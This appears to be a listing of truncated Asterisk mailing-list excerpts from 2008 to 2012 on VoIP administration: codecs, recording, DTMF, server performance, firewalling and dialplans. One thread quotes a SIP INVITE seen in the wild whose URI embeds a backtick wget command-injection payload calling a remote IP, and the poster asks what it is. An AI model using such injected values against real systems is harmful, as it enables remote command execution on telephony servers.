I have a call recording (audio) requirement that isn't addressed by
local Monitor/Record features.
All signalling and media currently pass through the Asterisk servers,
so that won't be an issue.
Instead of locally recording audio, for certain calls I need to add
what is effectively a 3rd leg to
You might want to check/compare disk-io throughput on your G5 vs G7.
Just a thought
Thanks Hans, I will do some disk benchmarking just in case. I do know
that I/O wait on the G7s has been an order of magnitude less than the
G5s under the same load so I *think* the fancier raid device and
I think I may have found the issue affecting our HP DL360 G7s (but I
don't begin to understand why this problem does not happen on our HP
DL360 G5 with a slower disk subsystem).
Recap: Running tcpdump on SIP UDP along with Asterisk 1.8.* causes
Autodestruct ... owner in place ... BYE messages
On Wed, Jun 13, 2012 at 9:06 PM, Andrew Joakimsen joakim...@gmail.com wrote:
Make sure you have installed Proliant Support Pack (PSP) then you can
monitor the system through HP System Management Homepage (SMH)
HP publishes drivers for the network cards. I've never used them as
the built in
Any tips on solving the following performance conundrum:
Asterisk 1.8.12.2 running on HP DL360 G5 and G7s
tcpdump running to capture UDP 5060/SIP signaling to .pcap files
All calls are ultimately B2BUA client - asterisk - PSTN
Media stays on Asterisk at all times
AGI script has exit handler
On Mon, Jun 4, 2012 at 12:15 AM, Steve Edwards
asterisk@sedwards.com wrote:
This AGI (which should only take about 20 seconds) occasionally takes a
minute or 3 to complete, but it does complete.
You should also be seeing the Autodestruct message? I put a sleep 60
in my exit handler and can
I'm probably over thinking this but would like to know what folks think about:
I have an array of identical Asterisk servers that are effectively
running a 'calling card' style application. First leg inbound
to validate a bunch of things and if all pass, second leg is outbound
and 'billable'.
On Fri, Dec 2, 2011 at 12:44 PM, Steve Edwards
asterisk@sedwards.com wrote:
Gordon (based on my understanding of his posts) does a lot of Asterisk
systems on very limited hardware hosts. His approach uses iptables features
to limit the number of SIP INVITES and REGISTERS per second per IP
On Thu, Dec 1, 2011 at 8:13 AM, Gordon Henderson
gordon+aster...@drogon.net wrote:
Yes, I know exactly how Fail2Ban works.
Then you should be able to proffer a better argument of why it isn't necessary.
--
_
-- Bandwidth and
On Thu, Dec 1, 2011 at 8:30 AM, gincantalupo
gincantal...@fgasoftware.com wrote:
Hi all,
any idea about how to replace Skype For Asterisk?
Thank You.
Giorgio
We are going through this right now and have chosen to Pay The Man
via per channel subscription to Skype Connect.
Watch the fun
On Tue, Nov 29, 2011 at 4:44 PM, john Millican j...@millican.us wrote:
Maybe I am misunderstanding the gist of the comment
OP offered an invalid comparison of how iptables is better than Fail2Ban.
Whether or not OP knew that Fail2Ban simply feeds rules to iptables is
unclear from his comments.
On Sun, Nov 27, 2011 at 8:47 AM, Gordon Henderson
gordon+aster...@drogon.net wrote:
Linux has excellent built-in subsystems to control firewalling and so on
without resorting to external programs. It's called iptables. If you know
how to use them, then using an external resource such as
So I did a little more digging and found a real simple answer:
${CHANNEL(audionativeformat)}
tells me 'ulaw' or 'siren14' and lets me pick the right file extension
for the record function.
On Tue, Sep 13, 2011 at 5:19 PM, Tom Browning ttbrown...@gmail.com wrote:
Sorry if this is an obvious
I'm chasing down some DTMF interop issues would like to hopefully rule
out Asterisk in the following configuration:
RTP path is:
Linux/PC/Mac SIP clients - [MediaProxy as needed] - Asterisk 1.8.7
- SIP termination provider(s)
DTMF is strictly RFC2833 with no in-band.
Asterisk stays in the media
Sorry if this is an obvious question and perhaps my Google foo isn't
right on this one:
I have calls coming into an Asterisk server that may be using 2
different codecs. I am recording audio in both cases but the
challenge is knowing which codec was negotiated at call setup. I need
to pass the
I haven't seen this sort of URI/shell attack prior to today but it
looks interesting. Embedding a backtick in the URI with a wget that
doesn't seem to do much to an empty file.
I'm guessing it is just a probe to see if they can send further
embedded backtick shell commands to my Asterisk
...@evaristesys.com wrote:
On 09/11/2011 07:05 PM, Tom Browning wrote:
INVITE
sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
SIP/2.0.
My guess is that this attack presumes you are running a web GUI such as
FreePBX, and that it does not sanitise embedded HTML
Is there an easy way to feed an audio file (think background music,
ever so softly) to the inbound leg of a bridged call (and not send /
mix it to the outbound leg)?
exten = blah,1,Answer()
exten = blah,2,StartSomeAudio(foo)?
exten = blah,3,Dial(SIP/bar)
Where the audio would continue
I'm migrating an application running on a fairly old 1.4 (or 1.2?)
version of Asterisk to some boxes running 1.6.0.27
The application takes an inbound INVITE like:
mumble-fratz-sip%3afoo%40bar@asteriskbox.abc.com:5062
The older version of asterisk replies with a 200 OK and a Contact:
header
On Thu, Nov 5, 2009 at 8:23 AM, Kevin P. Fleming kpflem...@digium.comwrote:
We need to see how you are originating the calls; it's up to the
originator to specify the formats that will be allowed for that call. In
spool files, for example, there is a header that can be included to
specify
On Tue, Nov 10, 2009 at 1:20 PM, Kevin P. Fleming kpflem...@digium.com wrote:
Please run this test with the 'debug' level enabled for the 'console'
channel in logger.conf, and then ensure that you have 'core set verbose
10' and 'core set debug 10' before attempting the outbound call. This
On Tue, Nov 10, 2009 at 3:39 PM, Kevin P. Fleming kpflem...@digium.com wrote:
They are, but we won't be able to know what is happening unless you post
a detailed console log like I suggested in my previous reply.
-- Attempting call on SIP/f...@bar.com for d...@default:1 (Retry 1)
[Nov 10
Continuing the siren14 usage thread:
sip.conf has:
disallow=all ; First disallow all codecs
allow=siren14;
Should I be able to originate an outbound call with siren14 as my only
codec?
When I try originate using either the spool file or a CLI originate
What are you reaching out to exactly? It would need to be a Siren14
capable. Also, do you have the Siren codec binary installed? It's not part
of the Asterisk distribution.
Inbound calls to Asterisk work (from a platform that supports both Siren14
and G.711). Leaving ulaw out of the allow
I've got a fresh (1 day old) svn trunk release SVN-trunk-r225360 of Asterisk
and I'm trying to get it to accept a SIREN14 call from Polycom's softphone.
Having trouble with SDP negotiation, I want to only allow SIREN14 and
nothing else. I also want to record and playback files, any tips on what
I use SIPAddHeader today to put some proprietary info into the SIP header of
an outbound call. Now I'd like to add some proprietary info to the SDP
portion of an outbound call. Can this be done with SIPAddHeader?
Thanks in advance,
Tom
___
--
FWIW, my broadvoice setup ( and I just upgraded to 1.4.26 to play with Skype
channels and verified that Broadvoice still works )
register=781zzzn...@sip.broadvoice.com:p
assword:781zzzn...@sip.broadvoice.com/781zzz
[sip.broadvoice.com]
type=peer
user=phone
host=sip.broadvoice.com
Nice job. It worked right away for me with my 10 channel trial license.
Asterisk 1.4.26
I'm already building a dtmf access menu to bridge to my SIP world :-)
As much I hate Skype for being a closed system, it would make the ultimate
remote Asterisk extension as Skype drills through so many
An exclusion adapter is overkill. My Asterisk line card is the $10 Win
modem card that I got from ebay.
When you call my copper line, two devices see the inbound ringer:
1. The Uniden 5.8Ghz cordless phone base station that answers 95% of the
calls
2. Asterisk with a win modem line card that:
Shorter answer is yes :-).
This is exactly how mine runs. The secret is that the copper interface
will ring a SIP extension but just exit from the dialplan on noanswer.
[main-copper]
exten = s,1,Dial(SIP/22,69)
and then nothing in my case.
Generally my wife answers using a cordless phone set
Yeah, except in the OP he mentions that he wants or is at least using
Asterisk VM so your solution does not meet his needs.
Ah, yes. My config would not allow Asterisk to be a part time voicemail
destination. In my config, the POTS line has its own voicemail (it is
actually a Comcast line
I get how everything is connected with your setup, but if you pick up
the cordless phone to answer a call does the sip extension just keep
ringing until it times out?
Actually no, the SIP extension stops ringing and Asterisk takes no further
action.
I like the exclusion adapter idea
I tweaked the voip-info page a bit to reflect your example correctly (my
example stripped the first digit as I am using 8 as the dial prefix to toll
free via free SIP providers )
On Thu, Nov 20, 2008 at 11:02 AM, Atis Lezdins [EMAIL PROTECTED] wrote:
Wow, that's helpful.
I googled a bit,
FWD (Free World Dialup) allows any SIP call to US toll free numbers via *
[EMAIL PROTECTED] This works WITHOUT the need to be registered at
FWD so in my dialplan I have something like:
exten = _8.,1,Dial(SIP/fwd.pulver.com/*${EXTEN:1},60,r)
exten = _8.,2,Hangup
And I just dial 8-1-8xxyyy
To send calls into a custom SER implementation, I need to be able to add
some items to the URI that Asterisk will then send as part of the INVITE
Asterisk dial SIP/[EMAIL PROTECTED]
needs to become
Asterisk dial SIP/[EMAIL PROTECTED];password=foo;method=bar
This is not a registration
I'm looking to build a robust inbound DID access layer for an application I
am working on. This might start off simply as 8 DID T1/ISDN lines and
eventually grow to a few dozen T1 lines worth of access or higher.
(In a prior life, I had 14 DS3s of inbound toll free terminating on Dialogic
card
Totally agree *IF* the SIP elements behind your router/firewall have real
IP addresses and you are not using NAT in your router.
With NAT scenarios, I prefer to have a copy of Asterisk running on
firewall/NAT router so it at least has one public IP address to make
various SIP games a little
I have a config where I define a single peer and have possibly hundreds of register commands for that single peer.I'm not clear if I can do the register part via Asterisk Realtime (right now I updated a file and force a reload which re-registers all the users defined in the register directives).
I
You can pull anything from the header with SIP_HEADERI'll often just pass them into a Perl AGI as $ARGV[0] $ARGV[1] with this line:exten = myapp,2,AGI(myapp.agi|${SIP_HEADER(From)}|${SIP_HEADER(To)})
Note also you can get *anything* in the SIP header SIP_HEADER(Mumblefratz) etc.
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